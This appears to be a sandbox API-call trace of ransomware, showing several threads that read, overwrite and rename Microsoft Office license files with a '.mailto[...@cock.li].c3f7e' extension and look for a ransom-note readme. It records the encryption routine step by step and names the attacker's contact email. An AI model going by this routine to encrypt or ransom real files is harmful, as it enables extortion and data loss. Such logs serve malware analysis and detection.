	[0085.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0085.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.715] NtQuerySystemTime (in: CurrentTime=0x2893fd50 | out: CurrentTime=0x2893fd50*=132251868124526044) returned 0x0
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x4bd90c53
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x6dc09e
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x49e4ded8
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xe77ed18e
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xd80a0493
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x14bc27a7
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x2cd2d920
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xf1b7e9b5
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x8f9d814f
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x851f9777
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x9312c7cb
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xb3e77c7d
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x67ea244d
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xf65b26e2
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x23404d8d
	[0085.715] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x65378985
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x2df13921
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x8b4cd443
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xea061d13
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xe1cc9fdc
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xb8aea790
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x4700d4cf
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x7f002d15
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xeb570a3f
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x35797af6
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x8d1aa3e5
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x50d7c071
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xb68ab980
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x52a5f428
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x53a69600
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0x58565c47
	[0085.716] RtlRandom (in: Seed=0x2893fd5c | out: Seed=0x2893fd5c) returned 0xd4d429ff
	[0085.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0085.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0085.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f55780
	[0085.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61f88
	[0085.728] ReadFile (in: hFile=0x1874, lpBuffer=0x4f55780, nNumberOfBytesToRead=0x2d43, lpNumberOfBytesRead=0x2893fd4c, lpOverlapped=0x0 | out: lpBuffer=0x4f55780*, lpNumberOfBytesRead=0x2893fd4c*=0x2d43, lpOverlapped=0x0) returned 1
	[0085.729] SetFilePointerEx (in: hFile=0x1874, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.729] WriteFile (in: hFile=0x1874, lpBuffer=0x4f61f88*, nNumberOfBytesToWrite=0x2d43, lpNumberOfBytesWritten=0x2893fd48, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesWritten=0x2893fd48*=0x2d43, lpOverlapped=0x0) returned 1
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55780) returned 1
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dabdf0
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dab870
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12d) returned 0x4ebca00
	[0085.731] SetFilePointerEx (in: hFile=0x1874, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.731] WriteFile (in: hFile=0x1874, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12d, lpNumberOfBytesWritten=0x2893fdb0, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x2893fdb0*=0x12d, lpOverlapped=0x0) returned 1
	[0085.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0085.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabdf0) returned 1
	[0085.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0085.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0085.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0085.734] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ea808
	[0085.734] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms"
	[0085.734] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.734] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2893fd68, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.734] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481d3c0
	[0085.734] NtSetInformationFile (FileHandle=0x1874, IoStatusBlock=0x2893fd60, FileInformation=0x481d3c0, Length=0xfe, FileInformationClass=0xa) returned 0x0
	[0085.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0085.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.736] NtQueryInformationFile (in: FileHandle=0x1874, IoStatusBlock=0x2893fd74, FileInformation=0x2893fd4c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2893fd74, FileInformation=0x2893fd4c) returned 0x0
	[0085.736] NtSetInformationFile (FileHandle=0x1874, IoStatusBlock=0x2893fd74, FileInformation=0x2893fd4c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.737] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.737] FlushFileBuffers (hFile=0x1874) returned 1
	[0093.074] CloseHandle (hObject=0x1874) returned 1
	[0093.075] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e398
	[0093.075] wcscpy (in: _Dest=0x476e398, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.075] wcscat (in: _Dest=0x476e398, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1158
	os_tid = 0x1e8c

	[0085.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0085.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1878
	[0085.732] GetFileSizeEx (in: hFile=0x1878, lpFileSize=0x289bf868 | out: lpFileSize=0x289bf868*=19932) returned 1
	[0085.732] SetFilePointerEx (in: hFile=0x1878, liDistanceToMove=0x4dd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.732] ReadFile (in: hFile=0x1878, lpBuffer=0x289bf7ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x289bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x289bf7ec*, lpNumberOfBytesRead=0x289bf7e8*=0x4, lpOverlapped=0x0) returned 1
	[0085.735] SetFilePointerEx (in: hFile=0x1878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0085.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.735] NtQuerySystemTime (in: CurrentTime=0x289bf7c8 | out: CurrentTime=0x289bf7c8*=132251868124682366) returned 0x0
	[0085.735] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x540de37c
	[0085.735] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xde6ef2e1
	[0085.735] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x1bcf1318
	[0085.735] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x5f7e7819
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x9be7465a
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xc9ad1d15
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x3d52ef89
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x587d2f86
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xe3d0715e
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x7c5a7045
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xc7ae536f
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x38a89ab0
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x49f09e7f
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x895e2013
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x6bb40816
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xb1f058b9
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x9b7f954e
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xe4f8aac6
	[0085.737] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xaf381693
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x4902508a
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x9c5cb8d
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x4ebc231b
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x92b52329
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x18a1a8a9
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x82d78b5f
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x91b4eff6
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0xa753e0b1
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x6101f695
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x175d230f
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x7a56b2b1
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x3c338699
	[0085.738] RtlRandom (in: Seed=0x289bf7d4 | out: Seed=0x289bf7d4) returned 0x62622dde
	[0085.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0085.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0085.746] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.746] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.746] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f55780
	[0085.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61f88
	[0085.747] ReadFile (in: hFile=0x1878, lpBuffer=0x4f55780, nNumberOfBytesToRead=0x4ddc, lpNumberOfBytesRead=0x289bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x4f55780*, lpNumberOfBytesRead=0x289bf7c4*=0x4ddc, lpOverlapped=0x0) returned 1
	[0085.748] SetFilePointerEx (in: hFile=0x1878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.748] WriteFile (in: hFile=0x1878, lpBuffer=0x4f61f88*, nNumberOfBytesToWrite=0x4ddc, lpNumberOfBytesWritten=0x289bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesWritten=0x289bf7c0*=0x4ddc, lpOverlapped=0x0) returned 1
	[0085.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0085.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55780) returned 1
	[0085.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dabdf0
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dab870
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12d) returned 0x4ebca00
	[0085.750] SetFilePointerEx (in: hFile=0x1878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.750] WriteFile (in: hFile=0x1878, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12d, lpNumberOfBytesWritten=0x289bf828, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x289bf828*=0x12d, lpOverlapped=0x0) returned 1
	[0085.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0085.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabdf0) returned 1
	[0085.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0085.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0085.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0085.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ea808
	[0085.752] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms"
	[0085.752] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.752] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x289bf7e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481d3c0
	[0085.752] NtSetInformationFile (FileHandle=0x1878, IoStatusBlock=0x289bf7d8, FileInformation=0x481d3c0, Length=0xfe, FileInformationClass=0xa) returned 0x0
	[0085.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0085.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.753] NtQueryInformationFile (in: FileHandle=0x1878, IoStatusBlock=0x289bf7ec, FileInformation=0x289bf7c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x289bf7ec, FileInformation=0x289bf7c4) returned 0x0
	[0085.753] NtSetInformationFile (FileHandle=0x1878, IoStatusBlock=0x289bf7ec, FileInformation=0x289bf7c4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.754] FlushFileBuffers (hFile=0x1878) returned 1
	[0093.075] CloseHandle (hObject=0x1878) returned 1
	[0093.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e428
	[0093.076] wcscpy (in: _Dest=0x476e428, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.076] wcscat (in: _Dest=0x476e428, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1159
	os_tid = 0x1e90

	[0085.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220
	[0085.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x187c
	[0085.754] GetFileSizeEx (in: hFile=0x187c, lpFileSize=0x28a3f788 | out: lpFileSize=0x28a3f788*=10631) returned 1
